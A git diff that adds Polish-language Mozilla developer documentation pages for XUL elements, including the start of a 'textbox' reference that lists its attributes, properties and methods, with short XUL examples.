+</dt><dd> <a href="#a-template.container">container</a>, <a href="#a-member">member</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-template.container">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/template.container">container</a></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Opcjonalnie może być ustawiony na zmienną do zastosowania jako kontener lub odniesienie do zmiennej. Jeśli nie jest określony, zmienna określa w atrybucie <code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code> użycie znacznika zawartości w pierwszej zasadzie szablonów.</dd>
+</dl>
+</div>
+<div id="a-member">
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/textbox/index.html b/files/pl/mozilla/tech/xul/textbox/index.html
new file mode 100644
index 0000000000..bef7b36083
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/textbox/index.html
@@ -0,0 +1,538 @@
+---
+title: textbox
+slug: Mozilla/Tech/XUL/textbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/textbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div>
+
+<p>Pole wejściowe, gdzie użytkownik może wprowadzić tekst. Jest ono podobne do elementu języka HTML <code>input</code>. Domyślnie wyświetlana jest tylko jedna linia tekstu. Atrybutem <code id="a-multiline"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/multiline">multiline</a></code> możemy określić do wyświetlenia pole wielowierszowe.</p>
+
+<p>Dodatkowe informacji są dostępne w <a href="pl/Kurs_XUL/Kontrolki_wej%c5%9bcia">kursie XUL</a>.</p>
+
+<dl>
+ <dt>Atrybuty</dt>
+ <dd><a href="#a-cols">cols</a>, <a href="#a-decimalplaces">decimalplaces</a>, <a href="#a-disabled">disabled</a>, <a href="#a-hidespinbuttons">hidespinbuttons</a>, <a href="#a-increment">increment</a>, <a href="#a-max">max</a>, <a href="#a-maxlength">maxlength</a>, <a href="#a-min">min</a>, <a href="#a-multiline">multiline</a>, <a href="#a-textbox.onchange">onchange</a>, <a href="#a-oninput">oninput</a>, <a href="#a-preference">preference</a>, <a href="#a-readonly">readonly</a>, <a href="#a-rows">rows</a>, <a href="#a-size">size</a>, <a href="#a-spellcheck">spellcheck</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-timeout">timeout</a>, <a href="#a-textbox.type">type</a>, <a href="#a-textbox.value">value</a>, <a href="#a-wrap">wrap</a>, <a href="#a-wraparound">wraparound</a></dd>
+</dl>
+
+<dl>
+ <dt>Własności</dt>
+ <dd><a href="#p-accessible">accessible</a>, <a href="#p-clickSelectsAll">clickSelectsAll</a>, <a href="#p-decimalPlaces">decimalPlaces</a>, <a href="#p-defaultSymbol">defaultSymbol</a>, <a href="#p-defaultValue">defaultValue</a>, <a href="#p-disabled">disabled</a>, <a href="#p-editor">editor</a>, <a href="#p-increment">increment</a>, <a href="#p-inputField">inputField</a>, <a href="#p-max">max</a>, <a href="#p-maxLength">maxLength</a>, <a href="#p-min">min</a>, <a href="#p-readOnly">readOnly</a>, <a href="#p-selectionEnd">selectionEnd</a>, <a href="#p-selectionStart">selectionStart</a>, <a href="#p-size">size</a>, <a href="#p-spinButtons">spinButtons</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-textLength">textLength</a>, <a href="#p-timeout">timeout</a>, <a href="#p-type">type</a>, <a href="#p-value">value</a>, <a href="#p-valueNumber">valueNumber</a>, <a href="#p-wrapAround">wrapAround</a>,</dd>
+</dl>
+
+<dl>
+ <dt>Metody</dt>
+ <dd><a href="#m-decrease">decrease</a>, <a href="#m-increase">increase</a>, <a href="#m-reset">reset</a>, <a href="#m-select">select</a>, <a href="#m-setSelectionRange">setSelectionRange</a></dd>
+</dl>
+
+<dl>
+ <dt>Klasy stylów</dt>
+ <dd><a href="#s-plain">plain</a></dd>
+</dl>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<div class="float-right"><img alt="grafika:XUL_ref_textbox.png"></div>
+
+<pre>&lt;vbox&gt;
+&lt;label control="your-name" value="Enter your name:"/&gt;
+&lt;textbox id="your-name" value="John"/&gt;
+&lt;/vbox&gt;
+</pre>
+
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+
+<p> </p><div id="a-cols">
+
+<dl>
+ <dt>
+ <code id="a-cols"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/cols">cols</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba kolumn w polu tekstowym.</dd>
+</dl>
+</div> <div id="a-decimalplaces">
+
+</div> <div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div> <div id="a-hidespinbuttons">
+
+</div> <div id="a-increment">
+
+<dl>
+ <dt>
+ <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Wynosi tyle co wartość atrybutu <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code>&lt;magic name="\"PAGENAME\"/"&gt; (dla pasków przewijania) lub <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code> (dla pudełek liczbowych)&lt;/magic&gt; zmienionego, gdy strzałka na pasku przewijania jest naciśnięta. Domyślnie posiada wartość równą 1.</dd>
+</dl>
+</div> <div id="a-max">
+
+<dl><dt> <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Maksymalna wartość, która może być na skali. Domyślną wartość jest ustawiona na 100. </dd></dl>
+
+
+</div> <div id="a-maxlength">
+
+<dl>
+ <dt>
+ <code id="a-maxlength"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxlength">maxlength</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Maksymalna liczba znaków, które można wpisać w pole tekstowe.</dd>
+</dl>
+</div> <div id="a-min">
+
+<dl><dt> <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Wartość minimalna, która może być ustawiona na skali. Domyślną wartością jest 0. </dd></dl>
+
+
+</div> <div id="a-multiline">
+
+<dl>
+ <dt>
+ <code id="a-multiline"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/multiline">multiline</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli <code>true</code>, pole tekstowe wyświetla się w kilku liniach. Jeśli użytkownik naciśnie Enter, to zostanie przeniesiony do nowej lini. Jeśli <code>false</code> to pole tekstowe pozwala wpisać tekst tylko jedną linie.</dd>
+</dl>
+</div> <div id="a-textbox.onchange">
+
+<dl>
+ <dt>
+ <code id="a-onchange"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onchange">onchange</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w atrybucie <code>onchange</code> jest wywołany, kiedy wartość elementu jest zmieniona.</dd>
+</dl>
+</div> <div id="a-oninput">
+
+<dl><dt> <code id="a-oninput"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oninput">oninput</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> To zdarzenie jest wysyłane, kiedy użytkownik wpisuje tekst w <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code>. To zdarzenie jest tylko wywoływane, kiedy wyświetlany tekst zostanie zmieniony, tak więc nie jest wykonywany kiedy użytkownik naciśnie nie możliwy do wyświetlenia klawisz. </dd></dl>
+
+
+</div> <div id="a-preference">
+
+<dl><dt> <code id="a-preference"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference">preference</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Łączy dany element z odpowiadającym mu elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>. Atrybut ten ma skutek tylko wewnątrz okna <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. Wartość opcji (z elementu <code>preference</code>) zostanie zaktualizowana zgodnie z wartością własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code> tego elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-readonly">
+
+<dl><dt> <code id="a-readonly"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/readonly">readonly</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ustawiony jest na <code>true</code>, to użytkownik nie będzie mógł zmienić wartości elementu. Jednakże wartość wciąż może zostać zmodyfikowana poprzez skrypt.
+</dd></dl>
+
+
+</div> <div id="a-rows">
+
+<dl>
+ <dt>
+ <code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba wierszy do wyświetlenia w elemencie. Jeśli w elemencie znajduje się więcej niż ta liczba wierszy, pojawi się pasek przewijania, który użytkownik może zastosować do przewijania do innych wierszy. Aby pobrać aktualną liczbę wierszy w elemencie, zastosuj metodę <span id="m-getRowCount"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getRowCount">getRowCount</a></code></span>.</dd>
+</dl>
+</div> <div id="a-size">
+
+<dl>
+ <dt>
+ <code id="a-size"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/size">size</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba znaków, które mogą zostać wyświetlone w polu tekstowym.</dd>
+</dl>
+</div> <div id="a-spellcheck">
+
+<dl>
+ <dt>
+ <code id="a-spellcheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/spellcheck">spellcheck</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ <b>Nowość od wersji Firefoksa 2.0.0.2</b></dd>
+ <dd>
+ Jeśli <code>true</code>, sprawdzanie pisowni jest włączone domyślnie dla pól tekstowych; jeśli <code>false</code>, sprawdzanie pisowni jest wyłączone domyślnie.</dd>
+ <dd>
+ Jeśli nie jest określone, to domyślnie jest <code>false</code></dd>
+</dl>
+</div> <div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div> <div id="a-timeout">
+
+</div> <div id="a-textbox.type">
+
+
+<dl>
+ <dt><a href="pl/XUL/Atrybut/textbox.type">type</a></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Możemy ustawić typ tego atrybutu na jedną z poniższych wartości dla bardziej specjalistycznych typów pola tekstowego. Nie ustawiaj tego typu, jeśli chcesz zastosować regularne pole tekstowe.</dd>
+</dl>
+
+<ul>
+ <li><code>autocomplete</code>: Pole tekstowe, które obsługuje auto uzupełnianie. Aby zdobyć więcej informacji na temat autouzupełniania pól tekstowych, przejdź do dokumentacji o autouzupełnianiu (<a href="pl/XUL/textbox_(Mozilla_-_automatyczne_uzupe%c5%82nianie)">Mozilla</a>) (<a href="pl/XUL/textbox_(Firefox_-_automatyczne_uzupe%c5%82nianie)">Firefox</a>)</li>
+ <li><code>number</code>: A textbox that only allows the user to enter numbers. In addition, arrow buttons appear next to the textbox to let the user step through values. There are several attributes that allow the number textbox to be configured, including <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code>, <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code>, <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code>, <code id="a-wraparound"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wraparound">wraparound</a></code>, and <code id="a-hidespinbuttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidespinbuttons">hidespinbuttons</a></code>. </li>
+ <li><code>password</code>: Pole tekstowe, które ukrywa wpisywaną treść, stosowane dla wpisywania haseł w pole tekstowe.</li>
+ <li><code>timed</code>: This textbox will fire a command event after the user types characters and a certain time has passed. The delay is set with the <code id="a-timeout"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/timeout">timeout</a></code> attribute. You might use this type, for instance, to update information elsewhere in the window as the user types, without the need for continuous updates since the timer will not fire if the user types more keys in the meantime. The command event will also fire if the user presses the Enter key.</li>
+</ul>
+
+
+</div> <div id="a-textbox.value">
+
+<dl>
